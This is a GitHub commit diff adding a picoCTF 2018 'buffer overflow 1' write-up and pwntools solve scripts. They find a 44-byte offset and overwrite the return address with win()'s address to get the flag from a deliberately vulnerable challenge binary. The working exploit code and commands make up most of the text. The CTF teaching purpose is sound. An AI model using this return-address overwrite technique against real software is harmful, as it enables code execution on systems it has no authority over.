Skip to content

Commit 397713c

Browse files
committed
Updated buffer overflow 1
1 parent fc53dc6 commit 397713c

File tree

4 files changed

+142
-5
lines changed

4 files changed

+142
-5
lines changed

Binary Exploitation/buffer overflow 0/solution/solve.py

+3-2
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,9 @@
11
#!/usr/bin/python
2-
32
from pwn import *
43

5-
s = ssh(host='2018shell1.picoctf.com', user='Platy')
4+
USER = 'Platy' # Change username accordingly.
5+
6+
s = ssh(host='2018shell1.picoctf.com', user=USER) # Make sure ssh-keyz challenge is done first
67

78
exploit = 'A' * 28
89

Binary Exploitation/buffer overflow 1/README.md

+131
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,137 @@ Binary Exploitation
1313
>Make sure you consider Big Endian vs Little Endian.
1414
1515
## Solution
16+
Before looking at the source code, we can run the program first.
17+
18+
```
19+
$ ./vuln
20+
Please enter your string:
21+
AAAA
22+
Okay, time to return... Fingers Crossed... Jumping to 0x80486b3
23+
```
24+
25+
Looks like it takes in an input, and jumps to an address. Let's look at the source code now.
26+
27+
```c
28+
// Imports here...
29+
#define BUFSIZE 32
30+
#define FLAGSIZE 64
31+
32+
void win() {
33+
char buf[FLAGSIZE];
34+
FILE *f = fopen("flag.txt","r");
35+
// Reading flag file
36+
printf(buf);
37+
}
38+
39+
void vuln(){
40+
char buf[BUFSIZE];
41+
gets(buf);
42+
43+
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
44+
}
45+
46+
int main(int argc, char **argv){
47+
// Unimportant stuff
48+
puts("Please enter your string: ");
49+
vuln();
50+
return 0;
51+
}
52+
```
53+
54+
We can see that the address that it shows us is the return address, which should be the address of _main_. If we do a buffer overflow, we can take control of the return address, and let the program jump to wherever we want.
55+
56+
In this case, we would like to jump to the _win_ function, which prints out the flag.
57+
58+
Let's try spamming the program again to see if our hunch is correct.
59+
60+
```
61+
$ ./vuln
62+
Please enter your string:
63+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
64+
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
65+
Segmentation fault
66+
```
67+
68+
The return address has been overwritten to _0x41414141_, which is the hex value of _A_. As long as we can find the correct amount of padding, we can control the where the return pointer returns to.
69+
70+
We can use the [De Bruijn sequence](https://en.wikipedia.org/wiki/De_Bruijn_sequence), which will find the padding we need. We will use _pwntools_.
71+
72+
```python
73+
>>> from pwn import *
74+
>>> cyclic(100)
75+
'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
76+
```
77+
78+
We can now feed that string into the program and see what address the program jumps to.
79+
80+
```
81+
$ ./vuln
82+
Please enter your string:
83+
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
84+
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c
85+
Segmentation fault
86+
```
87+
88+
Ok, it jumps to _0x6161616c_. We can use `cyclic_find()` to find the offset. First we convert the hex back into ASCII. Remember that this is in little endian format. `p32()` just converts the hex back into ASCII in little endian format.
89+
90+
```python
91+
>>> from pwn import *
92+
>>> cyclic_find(p32(0x6161616c))
93+
44
94+
```
95+
96+
Now we know the amount of padding required. Let's test it again, with 44 'A's, and another 4 'B's. We should expect the address to show _0x41414141_.
97+
98+
```
99+
$ ./vuln
100+
Please enter your string:
101+
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
102+
Okay, time to return... Fingers Crossed... Jumping to 0x42424242
103+
Segmentation fault
104+
```
105+
106+
Just as we expected. All that's left to do is to replace _BBBB_ with the ASCII values that corresponds to the address of the _win_ function.
107+
108+
109+
```python
110+
>>> from pwn import *
111+
>>> vuln = ELF('./vuln')
112+
[*] '/root/Desktop/picoCTF/Binary Exploitation/buffer overflow 1/solution/vuln'
113+
Arch: i386-32-little
114+
RELRO: Partial RELRO
115+
Stack: No canary found
116+
NX: NX disabled
117+
PIE: No PIE (0x8048000)
118+
RWX: Has RWX segments
119+
>>> p32(vuln.symbols['win']) # Get address of win function
120+
'\xcb\x85\x04\x08'
121+
>>> 'A' * 44 + '\xcb\x85\x04\x08'
122+
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xcb\x85\x04\x08'
123+
```
124+
125+
Of course, we cannot type _\xcb\x85\x04\x08_ in ASCII format, so all we have to do is have Python output this string, and pipe it into the program _vuln_.
126+
127+
```
128+
$ python -c "from pwn import *; print 'A' * 44 + '\xcb\x85\x04\x08'" | ./vuln
129+
Please enter your string:
130+
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
131+
picoCTF{sample_flag}
132+
Segmentation fault
133+
```
134+
135+
Great! It works locally, all we have to do now is run it on the web shell.
136+
137+
```
138+
$ cd /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78
139+
$ python -c "from pwn import *; print 'A' * 44 + '\xcb\x85\x04\x08'" | ./vuln
140+
Please enter your string:
141+
Okay, time to return... Fingers Crossed... Jumping to 0x80485cb
142+
picoCTF{addr3ss3s_ar3_3asy65489706}Segmentation fault
143+
```
144+
145+
And we get the flag!
146+
16147
Working solution [solve.py](solution/solve.py)
17148

18149
### Flag
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
picoCTF{sample_flag}

Binary Exploitation/buffer overflow 1/solution/solve.py

+7-3
Original file line numberDiff line numberDiff line change
@@ -1,15 +1,19 @@
11
#!/usr/bin/python
2-
32
from pwn import *
3+
import os
4+
5+
PATH = os.path.dirname(os.path.realpath(__file__))
6+
7+
USER = 'Platy' # Change username accordingly.
48

5-
vuln = ELF('./vuln')
9+
vuln = ELF(PATH + '/vuln')
610

711
padding = 'A' * 44
812
payload = p32(vuln.symbols['win'])
913

1014
exploit = padding + payload
1115

12-
s = ssh(host='2018shell1.picoctf.com', user='Platy')
16+
s = ssh(host='2018shell1.picoctf.com', user=USER) # Make sure ssh-keyz challenge is done first
1317

1418
py = s.run('cd /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78; ./vuln')
1519
print py.recv()

0 commit comments

Comments
 (0)